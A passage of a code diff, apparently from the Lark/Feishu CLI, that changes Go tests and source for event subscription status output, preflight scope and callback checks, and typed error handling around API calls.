|
||||
{PID: 1002, EventKey: "mail.x", SubscriptionID: "mail.x:bob", Received: 3, Dropped: 0},
|
||||
},
|
||||
},
|
||||
})
|
||||
out := buf.String()
|
||||
if !strings.Contains(out, "SUB") {
|
||||
t.Errorf("missing SUB column header: %s", out)
|
||||
}
|
||||
if !strings.Contains(out, "alice") {
|
||||
t.Errorf("missing alice suffix in SUB column: %s", out)
|
||||
}
|
||||
if !strings.Contains(out, "bob") {
|
||||
t.Errorf("missing bob suffix in SUB column: %s", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteStatusText_LegacySubscriptionID_RendersDash(t *testing.T) {
|
||||
var buf bytes.Buffer
|
||||
writeStatusText(&buf, []appStatus{
|
||||
{
|
||||
AppID: "cli_RUNNINGXXXXXXXXX",
|
||||
State: stateRunning,
|
||||
PID: 1234,
|
||||
UptimeSec: 60,
|
||||
Active: 1,
|
||||
Consumers: []protocol.ConsumerInfo{
|
||||
{PID: 1001, EventKey: "im.x", SubscriptionID: "", Received: 5},
|
||||
},
|
||||
},
|
||||
})
|
||||
out := buf.String()
|
||||
if !strings.Contains(out, "SUB") {
|
||||
t.Errorf("missing SUB header: %s", out)
|
||||
}
|
||||
if !strings.Contains(out, "-") {
|
||||
t.Errorf("missing dash placeholder for empty SubscriptionID: %s", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteStatusText_EventKeyEqualSubscriptionID_RendersDash(t *testing.T) {
|
||||
var buf bytes.Buffer
|
||||
writeStatusText(&buf, []appStatus{
|
||||
{
|
||||
AppID: "cli_RUNNINGXXXXXXXXX",
|
||||
State: stateRunning,
|
||||
PID: 1234,
|
||||
UptimeSec: 60,
|
||||
Active: 1,
|
||||
Consumers: []protocol.ConsumerInfo{
|
||||
{PID: 1001, EventKey: "im.x", SubscriptionID: "im.x", Received: 5},
|
||||
},
|
||||
},
|
||||
})
|
||||
out := buf.String()
|
||||
if !strings.Contains(out, "SUB") {
|
||||
t.Errorf("missing SUB header: %s", out)
|
||||
}
|
||||
if !strings.Contains(out, "-") {
|
||||
t.Errorf("missing dash placeholder when SubscriptionID==EventKey: %s", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteStatusJSON_OrphanHint(t *testing.T) {
|
||||
var buf bytes.Buffer
|
||||
if err := writeStatusJSON(&buf, []appStatus{
|
||||
@@ -197,15 +270,15 @@ func TestExitForOrphan(t *testing.T) {
|
||||
if err == nil {
|
||||
t.Fatal("flag on + orphan → expected error, got nil")
|
||||
}
|
||||
var exit *output.ExitError
|
||||
var exit *output.BareError
|
||||
if !errorAs(err, &exit) || exit.Code != output.ExitValidation {
|
||||
t.Errorf("exit code = %v, want ExitValidation", err)
|
||||
}
|
||||
}
|
||||
|
||||
func errorAs(err error, target interface{}) bool {
|
||||
if e, ok := err.(*output.ExitError); ok {
|
||||
if t, ok := target.(**output.ExitError); ok {
|
||||
if e, ok := err.(*output.BareError); ok {
|
||||
if t, ok := target.(**output.BareError); ok {
|
||||
*t = e
|
||||
return true
|
||||
}
|
||||
|
||||
@@ -10,10 +10,22 @@ import (
|
||||
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
eventlib "github.com/larksuite/cli/internal/event"
|
||||
|
||||
_ "github.com/larksuite/cli/events"
|
||||
)
|
||||
|
||||
func TestEventLookup_VCMeetingLifecycleKeys(t *testing.T) {
|
||||
for _, key := range []string{
|
||||
"vc.meeting.participant_meeting_started_v1",
|
||||
"vc.meeting.participant_meeting_joined_v1",
|
||||
} {
|
||||
if _, ok := eventlib.Lookup(key); !ok {
|
||||
t.Fatalf("event.Lookup(%q) should succeed", key)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunList_TextOutput(t *testing.T) {
|
||||
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test"})
|
||||
|
||||
@@ -26,6 +38,9 @@ func TestRunList_TextOutput(t *testing.T) {
|
||||
"KEY", "AUTH", "PARAMS", "DESCRIPTION",
|
||||
"im.message.receive_v1",
|
||||
"im.message.message_read_v1",
|
||||
"task.task.update_user_access_v2",
|
||||
"vc.meeting.participant_meeting_started_v1",
|
||||
"vc.meeting.participant_meeting_joined_v1",
|
||||
} {
|
||||
if !strings.Contains(out, want) {
|
||||
t.Errorf("list output missing %q; full output:\n%s", want, out)
|
||||
@@ -55,4 +70,31 @@ func TestRunList_JSONOutput(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
gotKeys := map[string]map[string]interface{}{}
|
||||
for _, row := range rows {
|
||||
if key, ok := row["key"].(string); ok {
|
||||
gotKeys[key] = row
|
||||
}
|
||||
}
|
||||
var foundTask bool
|
||||
for key, row := range gotKeys {
|
||||
if key == "task.task.update_user_access_v2" {
|
||||
foundTask = true
|
||||
if row["single_consumer"] != true {
|
||||
t.Errorf("task row single_consumer = %v, want true", row["single_consumer"])
|
||||
}
|
||||
}
|
||||
}
|
||||
if !foundTask {
|
||||
t.Fatal("event list JSON missing task.task.update_user_access_v2")
|
||||
}
|
||||
for _, want := range []string{
|
||||
"vc.meeting.participant_meeting_started_v1",
|
||||
"vc.meeting.participant_meeting_joined_v1",
|
||||
} {
|
||||
if _, ok := gotKeys[want]; !ok {
|
||||
t.Errorf("JSON list output missing %q", want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,10 +8,10 @@ import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/appmeta"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
eventlib "github.com/larksuite/cli/internal/event"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
func newPreflightCtx(appID string, brand core.LarkBrand, identity core.Identity, keyDef *eventlib.KeyDefinition, appVer *appmeta.AppVersion) *preflightCtx {
|
||||
@@ -89,19 +89,17 @@ func TestPreflightEventTypes_MissingBlocks(t *testing.T) {
|
||||
if !strings.Contains(err.Error(), "mail.user_mailbox.event.message_read_v1") {
|
||||
t.Errorf("error should name the missing event type, got: %v", err)
|
||||
}
|
||||
var exit *output.ExitError
|
||||
if !errors.As(err, &exit) {
|
||||
t.Fatalf("expected output.ExitError, got %T: %v", err, err)
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("expected typed errs error, got %T: %v", err, err)
|
||||
}
|
||||
if exit.Code != output.ExitValidation {
|
||||
t.Errorf("ExitCode = %d, want ExitValidation (%d)", exit.Code, output.ExitValidation)
|
||||
if p.Category != errs.CategoryValidation || p.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Errorf("problem = %s/%s, want %s/%s", p.Category, p.Subtype,
|
||||
errs.CategoryValidation, errs.SubtypeFailedPrecondition)
|
||||
}
|
||||
if exit.Detail == nil {
|
||||
t.Fatal("expected Detail with hint")
|
||||
}
|
||||
wantURL := "https://open.feishu.cn/app/cli_XXXXXXXXXXXXXXXX/event"
|
||||
if !strings.Contains(exit.Detail.Hint, wantURL) {
|
||||
t.Errorf("hint missing subscription URL %q\ngot: %s", wantURL, exit.Detail.Hint)
|
||||
wantURL := "https://open.feishu.cn/page/launcher?clientID=cli_XXXXXXXXXXXXXXXX&addons="
|
||||
if !strings.Contains(p.Hint, wantURL) {
|
||||
t.Errorf("hint missing scan link %q\ngot: %s", wantURL, p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -145,21 +143,22 @@ func TestPreflightScopes_Bot_MissingBlocks(t *testing.T) {
|
||||
if !strings.Contains(err.Error(), "im:message.group_at_msg") {
|
||||
t.Errorf("error should name missing scope, got: %v", err)
|
||||
}
|
||||
var exit *output.ExitError
|
||||
if !errors.As(err, &exit) {
|
||||
t.Fatalf("expected output.ExitError, got %T: %v", err, err)
|
||||
var permErr *errs.PermissionError
|
||||
if !errors.As(err, &permErr) {
|
||||
t.Fatalf("expected *errs.PermissionError, got %T: %v", err, err)
|
||||
}
|
||||
if exit.Code != output.ExitAuth {
|
||||
t.Errorf("ExitCode = %d, want ExitAuth (%d)", exit.Code, output.ExitAuth)
|
||||
if permErr.Category != errs.CategoryAuthorization || permErr.Subtype != errs.SubtypeMissingScope {
|
||||
t.Errorf("problem = %s/%s, want %s/%s", permErr.Category, permErr.Subtype,
|
||||
errs.CategoryAuthorization, errs.SubtypeMissingScope)
|
||||
}
|
||||
if exit.Detail == nil {
|
||||
t.Fatal("expected Detail with hint, got nil Detail")
|
||||
wantMissing := []string{"im:message.group_at_msg"}
|
||||
if len(permErr.MissingScopes) != 1 || permErr.MissingScopes[0] != wantMissing[0] {
|
||||
t.Errorf("MissingScopes = %v, want %v", permErr.MissingScopes, wantMissing)
|
||||
}
|
||||
hint := exit.Detail.Hint
|
||||
hint := permErr.Hint
|
||||
wantSubstrings := []string{
|
||||
"https://open.feishu.cn/app/cli_x/auth?q=",
|
||||
"im:message.group_at_msg",
|
||||
"token_type=tenant",
|
||||
"grant these scopes by scanning: ",
|
||||
"https://open.feishu.cn/page/launcher?clientID=cli_x&addons=",
|
||||
}
|
||||
for _, want := range wantSubstrings {
|
||||
if !strings.Contains(hint, want) {
|
||||
@@ -174,3 +173,109 @@ func TestPreflightScopes_NoRequiredScopes_SkipsCheck(t *testing.T) {
|
||||
t.Fatalf("no required scopes means nothing to verify, got: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPreflightEventTypes_CallbackMissing(t *testing.T) {
|
||||
pf := &preflightCtx{
|
||||
appID: "cli_x",
|
||||
brand: core.BrandFeishu,
|
||||
eventKey: "test.cb",
|
||||
identity: core.AsBot,
|
||||
subscribedCallbacks: []string{"profile.view.get"},
|
||||
keyDef: &eventlib.KeyDefinition{
|
||||
Key: "test.cb",
|
||||
SubscriptionType: eventlib.SubTypeCallback,
|
||||
RequiredConsoleEvents: []string{"card.action.trigger"},
|
||||
},
|
||||
}
|
||||
err := preflightEventTypes(pf)
|
||||
if err == nil {
|
||||
t.Fatal("expected error for missing callback")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "callbacks not subscribed") {
|
||||
t.Errorf("error = %q, want mention of 'callbacks not subscribed'", err.Error())
|
||||
}
|
||||
if !strings.Contains(err.Error(), "card.action.trigger") {
|
||||
t.Errorf("error should name the missing callback, got: %q", err.Error())
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Category != errs.CategoryValidation || p.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Errorf("problem = %v, want validation/failed_precondition", p)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPreflightEventTypes_CallbackSkippedWhenNil(t *testing.T) {
|
||||
pf := &preflightCtx{
|
||||
appID: "cli_x",
|
||||
brand: core.BrandFeishu,
|
||||
eventKey: "test.cb",
|
||||
identity: core.AsBot,
|
||||
subscribedCallbacks: nil, // fetch 失败/拿不到 -> 弱依赖跳过
|
||||
keyDef: &eventlib.KeyDefinition{
|
||||
Key: "test.cb",
|
||||
SubscriptionType: eventlib.SubTypeCallback,
|
||||
RequiredConsoleEvents: []string{"card.action.trigger"},
|
||||
},
|
||||
}
|
||||
if err := preflightEventTypes(pf); err != nil {
|
||||
t.Errorf("expected skip (nil), got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPreflightEventTypes_CallbackEmptyReportsMissing(t *testing.T) {
|
||||
// fetched but zero callbacks subscribed (non-nil empty) is a definitive
|
||||
// console state: a required callback IS missing and must be reported,
|
||||
// not skipped as a weak dependency.
|
||||
pf := &preflightCtx{
|
||||
appID: "cli_x",
|
||||
brand: core.BrandFeishu,
|
||||
eventKey: "test.cb",
|
||||
identity: core.AsBot,
|
||||
subscribedCallbacks: []string{}, // fetched, none subscribed
|
||||
keyDef: &eventlib.KeyDefinition{
|
||||
Key: "test.cb",
|
||||
SubscriptionType: eventlib.SubTypeCallback,
|
||||
RequiredConsoleEvents: []string{"card.action.trigger"},
|
||||
},
|
||||
}
|
||||
err := preflightEventTypes(pf)
|
||||
if err == nil {
|
||||
t.Fatal("expected error for missing callback when none are subscribed")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "card.action.trigger") {
|
||||
t.Errorf("error should name the missing callback, got: %q", err.Error())
|
||||
}
|
||||
}
|
||||
|
||||
func TestPreflightEventTypes_CallbackAllSubscribed_Passes(t *testing.T) {
|
||||
pf := &preflightCtx{
|
||||
appID: "cli_x",
|
||||
brand: core.BrandFeishu,
|
||||
eventKey: "test.cb",
|
||||
identity: core.AsBot,
|
||||
subscribedCallbacks: []string{"card.action.trigger", "profile.view.get"},
|
||||
keyDef: &eventlib.KeyDefinition{
|
||||
Key: "test.cb",
|
||||
SubscriptionType: eventlib.SubTypeCallback,
|
||||
RequiredConsoleEvents: []string{"card.action.trigger"},
|
||||
},
|
||||
}
|
||||
if err := preflightEventTypes(pf); err != nil {
|
||||
t.Errorf("all callbacks subscribed, unexpected error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestScopeRemediationHint_ByIdentity(t *testing.T) {
|
||||
// bot: scan-to-enable link (adds scopes to app manifest)
|
||||
bot := scopeRemediationHint(core.BrandFeishu, "cli_x", core.AsBot, []string{"im:message"})
|
||||
if !strings.Contains(bot, "/page/launcher?clientID=cli_x&addons=") {
|
||||
t.Errorf("bot hint should give the scan link, got: %s", bot)
|
||||
}
|
||||
// user: re-login (scan link cannot grant scopes to the user's own token)
|
||||
user := scopeRemediationHint(core.BrandFeishu, "cli_x", core.AsUser, []string{"im:message"})
|
||||
if !strings.Contains(user, "auth login --scope") {
|
||||
t.Errorf("user hint should direct to auth login, got: %s", user)
|
||||
}
|
||||
if strings.Contains(user, "/page/launcher") {
|
||||
t.Errorf("user hint must NOT use the scan link, got: %s", user)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -6,8 +6,8 @@ package event
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/client"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
)
|
||||
@@ -26,7 +26,11 @@ func (r *consumeRuntime) CallAPI(ctx context.Context, method, path string, body
|
||||
As: r.accessIdentity,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
if _, ok := errs.ProblemOf(err); ok {
|
||||
return nil, err
|
||||
}
|
||||
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport,
|
||||
"api %s %s: %s", method, path, err).WithCause(err)
|
||||
}
|
||||
// Non-JSON HTTP errors (gateway text/plain 404 etc.) skip OAPI envelope parsing.
|
||||
ct := resp.Header.Get("Content-Type")
|
||||
@@ -36,11 +40,20 @@ func (r *consumeRuntime) CallAPI(ctx context.Context, method, path string, body
|
||||
if len(body) > maxBodyEcho {
|
||||
body = body[:maxBodyEcho] + "…(truncated)"
|
||||
}
|
||||
return nil, fmt.Errorf("api %s %s returned %d: %s", method, path, resp.StatusCode, body)
|
||||
if resp.StatusCode >= 500 {
|
||||
return nil, errs.NewNetworkError(errs.SubtypeNetworkServer,
|
||||
"api %s %s returned %d: %s", method, path, resp.StatusCode, body).WithRetryable()
|
||||
}
|
||||
return nil, errs.NewInternalError(errs.SubtypeInvalidResponse,
|
||||
"api %s %s returned %d: %s", method, path, resp.StatusCode, body)
|
||||
}
|
||||
result, err := client.ParseJSONResponse(resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
if _, ok := errs.ProblemOf(err); ok {
|
||||
return nil, err
|
||||
}
|
||||
return nil, errs.NewInternalError(errs.SubtypeInvalidResponse,
|
||||
"api %s %s: %s", method, path, err).WithCause(err)
|
||||
}
|
||||
if apiErr := r.client.CheckResponse(result, r.accessIdentity); apiErr != nil {
|
||||
return json.RawMessage(resp.RawBody), apiErr
|
||||
|
||||
147
cmd/event/runtime_test.go
Normal file
147
cmd/event/runtime_test.go
Normal file
@@ -0,0 +1,147 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package event
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
lark "github.com/larksuite/oapi-sdk-go/v3"
|
||||
larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/client"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/credential"
|
||||
)
|
||||
|
||||
// staticTokenResolver always returns a fixed token without any HTTP calls.
|
||||
type staticTokenResolver struct{}
|
||||
|
||||
func (s *staticTokenResolver) ResolveToken(_ context.Context, _ credential.TokenSpec) (*credential.TokenResult, error) {
|
||||
return &credential.TokenResult{Token: "test-token"}, nil
|
||||
}
|
||||
|
||||
// stubRoundTripper intercepts every outgoing request with a canned response.
|
||||
type stubRoundTripper struct {
|
||||
respond func(*http.Request) (*http.Response, error)
|
||||
}
|
||||
|
||||
func (s stubRoundTripper) RoundTrip(r *http.Request) (*http.Response, error) { return s.respond(r) }
|
||||
|
||||
func newTestConsumeRuntime(rt http.RoundTripper) *consumeRuntime {
|
||||
sdk := lark.NewClient("test-app", "test-secret",
|
||||
lark.WithEnableTokenCache(false),
|
||||
lark.WithLogLevel(larkcore.LogLevelError),
|
||||
lark.WithHttpClient(&http.Client{Transport: rt}),
|
||||
)
|
||||
return &consumeRuntime{
|
||||
client: &client.APIClient{
|
||||
SDK: sdk,
|
||||
ErrOut: io.Discard,
|
||||
Credential: credential.NewCredentialProvider(nil, nil, &staticTokenResolver{}, nil),
|
||||
Config: &core.CliConfig{AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu},
|
||||
},
|
||||
accessIdentity: core.AsBot,
|
||||
}
|
||||
}
|
||||
|
||||
func stubResponse(status int, contentType, body string) func(*http.Request) (*http.Response, error) {
|
||||
return func(r *http.Request) (*http.Response, error) {
|
||||
return &http.Response{
|
||||
StatusCode: status,
|
||||
Header: http.Header{"Content-Type": []string{contentType}},
|
||||
Body: io.NopCloser(strings.NewReader(body)),
|
||||
Request: r,
|
||||
}, nil
|
||||
}
|
||||
}
|
||||
|
||||
func requireCallAPIProblem(t *testing.T, err error, category errs.Category, subtype errs.Subtype) {
|
||||
t.Helper()
|
||||
if err == nil {
|
||||
t.Fatal("expected error, got nil")
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("expected typed errs error, got %T: %v", err, err)
|
||||
}
|
||||
if p.Category != category || p.Subtype != subtype {
|
||||
t.Fatalf("problem = %s/%s, want %s/%s", p.Category, p.Subtype, category, subtype)
|
||||
}
|
||||
}
|
||||
|
||||
func TestConsumeRuntimeCallAPI_NonJSONHTTPError(t *testing.T) {
|
||||
r := newTestConsumeRuntime(stubRoundTripper{respond: stubResponse(http.StatusNotFound, "text/plain", "gone")})
|
||||
_, err := r.CallAPI(context.Background(), "GET", "/open-apis/event/v1/connection", nil)
|
||||
requireCallAPIProblem(t, err, errs.CategoryInternal, errs.SubtypeInvalidResponse)
|
||||
if !strings.Contains(err.Error(), "returned 404") {
|
||||
t.Errorf("error should echo the HTTP status, got: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestConsumeRuntimeCallAPI_NonJSONHTTPErrorTruncatesLongBody(t *testing.T) {
|
||||
long := strings.Repeat("x", 300)
|
||||
r := newTestConsumeRuntime(stubRoundTripper{respond: stubResponse(http.StatusBadGateway, "text/html", long)})
|
||||
_, err := r.CallAPI(context.Background(), "GET", "/open-apis/event/v1/connection", nil)
|
||||
requireCallAPIProblem(t, err, errs.CategoryNetwork, errs.SubtypeNetworkServer)
|
||||
p, _ := errs.ProblemOf(err)
|
||||
if !p.Retryable {
|
||||
t.Fatal("5xx non-JSON response should be marked retryable")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "…(truncated)") {
|
||||
t.Errorf("long body should be truncated in the message, got: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestConsumeRuntimeCallAPI_UnparsableJSONBody(t *testing.T) {
|
||||
r := newTestConsumeRuntime(stubRoundTripper{respond: stubResponse(http.StatusOK, "application/json", "{not json")})
|
||||
_, err := r.CallAPI(context.Background(), "GET", "/open-apis/event/v1/connection", nil)
|
||||
requireCallAPIProblem(t, err, errs.CategoryInternal, errs.SubtypeInvalidResponse)
|
||||
}
|
||||
|
||||
func TestConsumeRuntimeCallAPI_TransportFailure(t *testing.T) {
|
||||
r := newTestConsumeRuntime(stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
|
||||
return nil, errors.New("connection refused")
|
||||
}})
|
||||
_, err := r.CallAPI(context.Background(), "GET", "/open-apis/event/v1/connection", nil)
|
||||
if err == nil {
|
||||
t.Fatal("expected error, got nil")
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("expected typed errs error, got %T: %v", err, err)
|
||||
}
|
||||
if p.Category != errs.CategoryNetwork {
|
||||
t.Fatalf("category = %s, want %s", p.Category, errs.CategoryNetwork)
|
||||
}
|
||||
}
|
||||
|
||||
func TestConsumeRuntimeCallAPI_EnvelopeErrorIsTyped(t *testing.T) {
|
||||
r := newTestConsumeRuntime(stubRoundTripper{respond: stubResponse(http.StatusOK, "application/json",
|
||||
`{"code":99991663,"msg":"app not found"}`)})
|
||||
_, err := r.CallAPI(context.Background(), "GET", "/open-apis/event/v1/connection", nil)
|
||||
if err == nil {
|
||||
t.Fatal("expected error, got nil")
|
||||
}
|
||||
if _, ok := errs.ProblemOf(err); !ok {
|
||||
t.Fatalf("envelope error should be typed via BuildAPIError, got %T: %v", err, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestConsumeRuntimeCallAPI_Success(t *testing.T) {
|
||||
r := newTestConsumeRuntime(stubRoundTripper{respond: stubResponse(http.StatusOK, "application/json",
|
||||
`{"code":0,"data":{"ok":true}}`)})
|
||||
raw, err := r.CallAPI(context.Background(), "GET", "/open-apis/event/v1/connection", nil)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if !strings.Contains(string(raw), `"code":0`) {
|
||||
t.Errorf("raw body should pass through, got: %s", raw)
|
||||
}
|
||||
}
|
||||
@@ -11,6 +11,7 @@ import (
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
eventlib "github.com/larksuite/cli/internal/event"
|
||||
"github.com/larksuite/cli/internal/event/schemas"
|
||||
@@ -39,12 +40,14 @@ func resolveSchemaJSON(def *eventlib.KeyDefinition) (json.RawMessage, []string,
|
||||
if len(def.Schema.FieldOverrides) > 0 {
|
||||
var parsed map[string]interface{}
|
||||
if err := json.Unmarshal(base, &parsed); err != nil {
|
||||
return nil, nil, err
|
||||
return nil, nil, errs.NewInternalError(errs.SubtypeUnknown,
|
||||
"parse base schema for field overrides: %s", err).WithCause(err)
|
||||
}
|
||||
orphans := schemas.ApplyFieldOverrides(parsed, def.Schema.FieldOverrides)
|
||||
out, err := json.Marshal(parsed)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
return nil, nil, errs.NewInternalError(errs.SubtypeUnknown,
|
||||
"serialize schema with field overrides: %s", err).WithCause(err)
|
||||
}
|
||||
return out, orphans, nil
|
||||
}
|
||||
@@ -73,7 +76,7 @@ func renderSpec(s *eventlib.SchemaSpec) (json.RawMessage, error) {
|
||||
copy(buf, s.Raw)
|
||||
return buf, nil
|
||||
}
|
||||
return nil, fmt.Errorf("schemaSpec has neither Type nor Raw")
|
||||
return nil, errs.NewInternalError(errs.SubtypeUnknown, "schemaSpec has neither Type nor Raw")
|
||||
}
|
||||
|
||||
func NewCmdSchema(f *cmdutil.Factory) *cobra.Command {
|
||||
@@ -131,12 +134,16 @@ func runSchema(f *cmdutil.Factory, key string, asJSON bool) error {
|
||||
if len(def.Params) > 0 {
|
||||
fmt.Fprintf(out, "\nParameters:\n")
|
||||
w := tabwriter.NewWriter(out, 0, 4, 2, ' ', 0)
|
||||
fmt.Fprintf(w, " NAME\tTYPE\tREQUIRED\tDEFAULT\tDESCRIPTION\n")
|
||||
fmt.Fprintf(w, " NAME\tTYPE\tREQUIRED\tSUB-KEY\tDEFAULT\tDESCRIPTION\n")
|
||||
for _, p := range def.Params {
|
||||
required := "no"
|
||||
if p.Required {
|
||||
required = "yes"
|
||||
}
|
||||
subKey := "no"
|
||||
if p.SubscriptionKey {
|
||||
subKey = "yes"
|
||||
}
|
||||
defaultVal := p.Default
|
||||
if defaultVal == "" {
|
||||
defaultVal = "-"
|
||||
@@ -145,7 +152,7 @@ func runSchema(f *cmdutil.Factory, key string, asJSON bool) error {
|
||||
if desc == "" {
|
||||
desc = "-"
|
||||
}
|
||||
fmt.Fprintf(w, " %s\t%s\t%s\t%s\t%s\n", p.Name, p.Type, required, defaultVal, desc)
|
||||
fmt.Fprintf(w, " %s\t%s\t%s\t%s\t%s\t%s\n", p.Name, p.Type, required, subKey, defaultVal, desc)
|
||||
}
|
||||
w.Flush()
|
||||
|
||||
@@ -165,7 +172,7 @@ func runSchema(f *cmdutil.Factory, key string, asJSON bool) error {
|
||||
|
||||
resolved, _, err := resolveSchemaJSON(def)
|
||||
if err != nil {
|
||||
return output.Errorf(output.ExitInternal, "internal", "resolve schema: %v", err)
|
||||
return err
|
||||
}
|
||||
if resolved != nil {
|
||||
fmt.Fprintf(out, "\nOutput Schema:\n")
|
||||
|
||||
@@ -10,6 +10,7 @@ import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
eventlib "github.com/larksuite/cli/internal/event"
|
||||
@@ -95,6 +96,146 @@ func TestRunSchema_JSONOutput(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunSchema_TaskUpdateUserAccessJSON(t *testing.T) {
|
||||
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test"})
|
||||
|
||||
if err := runSchema(f, "task.task.update_user_access_v2", true); err != nil {
|
||||
t.Fatalf("runSchema json: %v", err)
|
||||
}
|
||||
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
|
||||
t.Fatalf("output is not valid JSON: %v\n%s", err, stdout.String())
|
||||
}
|
||||
if payload["jq_root_path"] != ".event" {
|
||||
t.Errorf("jq_root_path = %v, want .event", payload["jq_root_path"])
|
||||
}
|
||||
if payload["single_consumer"] != true {
|
||||
t.Errorf("single_consumer = %v, want true", payload["single_consumer"])
|
||||
}
|
||||
resolved := payload["resolved_output_schema"].(map[string]interface{})
|
||||
props := resolved["properties"].(map[string]interface{})
|
||||
eventProps := props["event"].(map[string]interface{})["properties"].(map[string]interface{})
|
||||
if got := eventProps["task_guid"].(map[string]interface{})["format"]; got != "task_guid" {
|
||||
t.Errorf("task_guid format = %v, want task_guid", got)
|
||||
}
|
||||
if _, ok := eventProps["event_types"].(map[string]interface{})["items"].(map[string]interface{})["enum"]; !ok {
|
||||
t.Fatalf("event_types enum missing in schema: %#v", eventProps["event_types"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunSchema_JSONOutput_VCMeetingLifecycleKeys(t *testing.T) {
|
||||
for _, key := range []string{
|
||||
"vc.meeting.participant_meeting_started_v1",
|
||||
"vc.meeting.participant_meeting_joined_v1",
|
||||
} {
|
||||
t.Run(key, func(t *testing.T) {
|
||||
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test"})
|
||||
|
||||
if err := runSchema(f, key, true); err != nil {
|
||||
t.Fatalf("runSchema json: %v", err)
|
||||
}
|
||||
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
|
||||
t.Fatalf("output is not valid JSON: %v\n%s", err, stdout.String())
|
||||
}
|
||||
if payload["key"] != key {
|
||||
t.Errorf("key = %v, want %s", payload["key"], key)
|
||||
}
|
||||
resolved, ok := payload["resolved_output_schema"].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("resolved_output_schema missing or wrong type: %+v", payload)
|
||||
}
|
||||
properties, ok := resolved["properties"].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("resolved_output_schema.properties missing or wrong type: %+v", resolved)
|
||||
}
|
||||
for _, field := range []string{"type", "event_id", "timestamp", "meeting_id", "topic", "meeting_no", "start_time", "calendar_event_id"} {
|
||||
if _, ok := properties[field]; !ok {
|
||||
t.Errorf("resolved output schema missing field %q: %+v", field, properties)
|
||||
}
|
||||
}
|
||||
if _, ok := properties["end_time"]; ok {
|
||||
t.Errorf("resolved output schema should not include end_time for %s: %+v", key, properties)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSchema_RendersSubscriptionKeyMarker(t *testing.T) {
|
||||
const syntheticKey = "test.evt_sub"
|
||||
t.Cleanup(func() { eventlib.UnregisterKeyForTest(syntheticKey) })
|
||||
|
||||
eventlib.RegisterKey(eventlib.KeyDefinition{
|
||||
Key: syntheticKey,
|
||||
EventType: syntheticKey,
|
||||
Params: []eventlib.ParamDef{
|
||||
{Name: "mailbox", SubscriptionKey: true, Description: "subscription id source"},
|
||||
{Name: "folders", Description: "filter only"},
|
||||
},
|
||||
Schema: eventlib.SchemaDef{Native: &eventlib.SchemaSpec{Type: reflect.TypeOf(struct{ X string }{})}},
|
